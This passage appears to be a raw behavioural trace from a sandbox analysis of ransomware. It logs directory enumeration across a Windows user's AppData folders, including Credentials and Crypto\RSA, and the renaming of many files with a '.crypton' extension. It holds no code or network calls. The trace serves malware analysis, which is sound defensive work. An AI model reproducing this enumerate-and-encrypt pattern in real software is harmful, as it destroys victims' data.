HALPmcxz\\AppData\\Roaming\\eWnW7-aEo.m4a.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\ewnw7-aeo.m4a.crypton"), dwFlags=0x2) returned 1 [0207.896] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Gbr6wZkRt0Gs.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\gbr6wzkrt0gs.gif"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Gbr6wZkRt0Gs.gif.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\gbr6wzkrt0gs.gif.crypton"), dwFlags=0x2) returned 1 [0207.946] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Hjl6SZ0lyxj.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\hjl6sz0lyxj.wav"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Hjl6SZ0lyxj.wav.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\hjl6sz0lyxj.wav.crypton"), dwFlags=0x2) returned 1 [0207.960] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HNTjU41ZbCAZvNUVFUe.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\hntju41zbcazvnuvfue.gif"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HNTjU41ZbCAZvNUVFUe.gif.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\hntju41zbcazvnuvfue.gif.crypton"), dwFlags=0x2) returned 1 [0207.987] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HvfTIdbeDoOB5.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\hvftidbedoob5.gif"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HvfTIdbeDoOB5.gif.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\hvftidbedoob5.gif.crypton"), dwFlags=0x2) returned 1 [0208.020] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\i3Y95K8XZude.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\i3y95k8xzude.pps"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\i3Y95K8XZude.pps.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\i3y95k8xzude.pps.crypton"), dwFlags=0x2) returned 1 [0208.024] GetFileType (hFile=0x1ac) returned 0x1 [0208.028] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf95a6b20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf95a6b20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0208.029] GetFileType (hFile=0x190) returned 0x1 [0208.033] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf95a6b20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf95a6b20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0208.045] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\jACgRuQ8MGin__se-5u7.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\jacgruq8mgin__se-5u7.swf"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\jACgRuQ8MGin__se-5u7.swf.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\jacgruq8mgin__se-5u7.swf.crypton"), dwFlags=0x2) returned 1 [0208.049] GetFileType (hFile=0x1ac) returned 0x1 [0208.053] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0xf95f2de0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf95f2de0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0208.058] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0xf95f2de0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf95f2de0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0208.059] GetFileType (hFile=0x1a4) returned 0x1 [0208.065] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d4582b0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0xf95f2de0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf95f2de0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0208.066] GetFileType (hFile=0x20c) returned 0x1 [0208.070] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d4582b0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0xf9618f40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf9618f40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0208.071] GetFileType (hFile=0x1a4) returned 0x1 [0208.075] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0xf9618f40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf9618f40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0208.076] GetFileType (hFile=0x20c) returned 0x1 [0208.080] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d241020, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0xf9618f40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf9618f40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0208.081] GetFileType (hFile=0x214) returned 0x1 [0208.090] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d9d7640, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0xf963f0a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf963f0a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549910 [0208.091] GetFileType (hFile=0x218) returned 0x1 [0208.098] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*", lpFindFileData=0x4a79d8 | out: lpFindFileData=0x4a79d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d9d7640, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0xf963f0a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf963f0a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549950 [0208.104] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf9665200, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf9665200, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0208.106] GetFileType (hFile=0x190) returned 0x1 [0208.112] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\AddIns\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7c36290, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf9665200, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf9665200, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0208.119] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Credentials\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf968b360, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf968b360, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0208.120] GetFileType (hFile=0x190) returned 0x1 [0208.127] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf968b360, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf968b360, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0208.128] GetFileType (hFile=0x1a4) returned 0x1 [0208.134] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf96b14c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf96b14c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0208.139] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x681f1360, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf96b14c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf96b14c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0208.140] GetFileType (hFile=0x190) returned 0x1 [0208.145] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f766d30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf96b14c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf96b14c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0208.146] GetFileType (hFile=0x1a4) returned 0x1 [0208.152] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f766d30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf96d7620, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf96d7620, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0208.153] GetFileType (hFile=0x20c) returned 0x1 [0208.157] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f766d30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf96d7620, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf96d7620, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0208.464] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\Built-In Building Blocks.dotx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\document building blocks\\1033\\14\\built-in building blocks.dotx"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\Built-In Building Blocks.dotx.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\document building blocks\\1033\\14\\built-in building blocks.dotx.crypton"), dwFlags=0x2) returned 1 [0208.467] GetFileType (hFile=0x190) returned 0x1 [0208.472] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1c1e0470, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf99d11a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf99d11a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0208.473] GetFileType (hFile=0x1a4) returned 0x1 [0208.477] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd01394e0, ftCreationTime.dwHighDateTime=0x1d301bc, ftLastAccessTime.dwLowDateTime=0xf99f7300, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf99f7300, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0208.478] GetFileType (hFile=0x190) returned 0x1 [0208.483] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IME12\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf99f7300, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf99f7300, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0208.484] GetFileType (hFile=0x190) returned 0x1 [0208.488] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP12\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf99f7300, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf99f7300, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0208.489] GetFileType (hFile=0x190) returned 0x1 [0208.494] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP8_1\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf9a1d460, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf9a1d460, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0208.497] GetFileType (hFile=0x190) returned 0x1 [0208.502] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP9_0\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf9a1d460, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf9a1d460, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0208.507] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf9a435c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf9a435c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0208.511] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf9a435c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf9a435c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0208.516] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf9a435c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf9a435c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0208.517] GetFileType (hFile=0x214) returned 0x1 [0208.524] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf9a69720, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf9a69720, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549910 [0208.530] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf9a69720, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf9a69720, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549910 [0208.531] GetFileType (hFile=0x1a4) returned 0x1 [0208.536] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54b77470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf9a69720, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf9a69720, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0208.541] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b77470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf9a8f880, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf9a8f880, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0208.542] GetFileType (hFile=0x214) returned 0x1 [0208.546] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\65UX3YG0\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2016, 